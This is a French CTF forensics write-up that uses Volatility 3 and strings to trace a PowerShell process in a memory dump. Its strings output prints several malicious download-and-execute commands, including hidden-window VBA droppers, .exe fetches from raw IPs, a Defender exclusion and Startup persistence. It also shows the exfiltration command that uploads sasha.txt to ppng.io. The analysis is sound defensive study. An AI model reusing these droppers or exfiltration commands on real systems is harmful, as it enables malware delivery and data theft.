Catégorie: Forensic
Difficulté: -
Flag: CTFREI{160.16.213.98_http://ppng.io/sasha_POPOPOKEMON}
Challenge
Le fichier est trop large, il est disponible sur
Description
Cette fois-ci, il semblerait qu'un script PowerShell étrange tourne sur ma machine. Aide moi à analyser son comportement.
Le flag est composé de :
L'IP contactée par le processus
L'URL utilisée par le script
Format : CTFREI{8.8.8.8_https://ctfrei.fr/flag_MEGASCRIPT}
Note : Le fichier est le même pour les 4 étapes
sha1: c91d17b27d8bf5df0830bd6104801b065cca6ee9
Solution
On commence par lister ce qu'il s'est passé sur le réseau grâce au plugin windows.netscan
et en filtrant avec le terme powershell :
Copier $ volatility3 -f memory.vmem windows.netscan | grep -i "powershell"
0x960351b38010.0TCPv4 192.168.19.156 49901 160.16.213.98 80 ESTABLISHED 2788 powershell.exe 2024-09-12 10:52:05.000000
On découvre un seul résultat, et l'IP qui nous intéresse est 160.16.213.98
. On remarque également que c'est sur le port 80, donc une requête HTTP (c'est important pour la suite ).
Maintenant, il faut chercher ce qui a été envoyé, pour ça on commence par faire un strings
sur le fichier .vmem
au complet et que l'on va sauvegarder à côté pour travailler dessus plus facilement.
Copier strings memory.vmem > strings.txt
Il est important de mettre en relation de ce que l'on sait :
La requête est faite via PowerShell
Il s'agit d'une requête HTTP
Copier $ cat memory_strings.txt | grep -i "Invoke-WebRequest .*http://"
shell ("powershell.exe -command 'invoke-webrequest http://
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Booking-02.exe"" -OutFile TrojanDownloader:O97M/Powdow.KG!MTB
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Ltrwmpfgvbk.exe"" -OutFile
8psowerss = "powers"she = "shel"CreateObject("Outlook.Application")sease = "Hidde"CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Uri " &Chr(34) & "http://scaladevelopments.scaladevco.com/
powershell -Command "Invoke-WebRequest -Uri 'http://146.190.48.229/fuackme100.exe' -OutFile 'C:\Windows\Temp\file1.exe'"Trojan:Win64/CobaltStrike.SPQ!MTB
Invoke-WebRequest -Uri ""http://62.233.57.190/z1/PTT_20230707-WA01120xlsx.exe"" -OutFile $TempFile; Start-Process $TempFile;TrojanDownloader:O97M/Powdow.STY!MTB
WinHttpReq.Open "GET", myURL, False, "username", "password"http://192.168.100.5/testdata.txtSaveToFile "C:\Users\Enigma\source\repos\02rev\mytest.txt", 2 ' 1PowerShell -Command ""{Invoke-WebRequest -Uri http://192.168.100.5/testdata.txt -OutFileEnviron("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetLogger.exe
NCreateObject("wscript." & she & "l")exec("powe" & "rshell -w Hidden Invoke-WebRequest -Uri Chr(34) & "http://178.17.171.144/sch/
powershell -executionpolicy unrestricted -command "invoke-webrequest 'http://124.106.197.167add-mppreference -exclusionpath 'c:\perflogs'bypass -confirm:$false -force
"C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main= Environ("TEMP") & "\powershdll.dll"{ Invoke-WebRequest -useb http://
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt"`
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Shell ("powershell.exeInvoke-WebRequest http://mailicious.com/filemanager.exe -OutFile C:\\filemanager.exe
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w Hidden Invoke-WebRequest -Urihttp://landing.yetiapp.ec/IDx6/FLP_5012_306_171.ex& "C:\Users\Public\Documents\checkgirl.ex"
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Urihttp://scaladevelopments.scaladevco.com/13Z/IMG_001263082.exC:\Users\Public\Documents\technologypurpose.ex"
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing
On a filtré quasiment tout avec les informations à notre disposition, il ne reste plus qu'à déterminer laquelle de ces commandes est la bonne.
Parmi les URLs, on voit http://ppng.io/sasha, un petit nslookup
dessus nous permet de savoir qu'elle est l'IP du serveur
Copier $ nslookup ppng.io
Réponse ne faisant pas autorité :
Nom : ppng.io
Address: 160.16.213.98
Bingo, c'est la même que celle qu'on a trouvée au tout début. La commande envoi le fichier sasha.txt, on va refaire un grep dessus pour découvrir son emplacement.
Copier $ volatility3 -f memory.vmem windows.filescan | grep-i "sasha.txt"
0x960353465920.0\Users\Aramis\Desktop\sasha.txt 216
0x960356e0b2c0 \Users\Aramis\Desktop\sasha.txt 216
On le récupère le fichier avec le plugin windows.dumpfiles
puis on affiche son contenu :
Copier $ volatility3 -f memory.vmem windows.dumpfiles --virtaddr 0x960353465920
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0x960353465920 sasha.txt file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
SharedCacheMap 0x960353465920 sasha.txt file.0x960353465920.0x960355327750.SharedCacheMap.sasha.txt.vacb
$ cat file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
POPOPOKEMON
On a tout ce qui nous faut : l'IP, le nom de domaine et le contenu du fichier envoyé.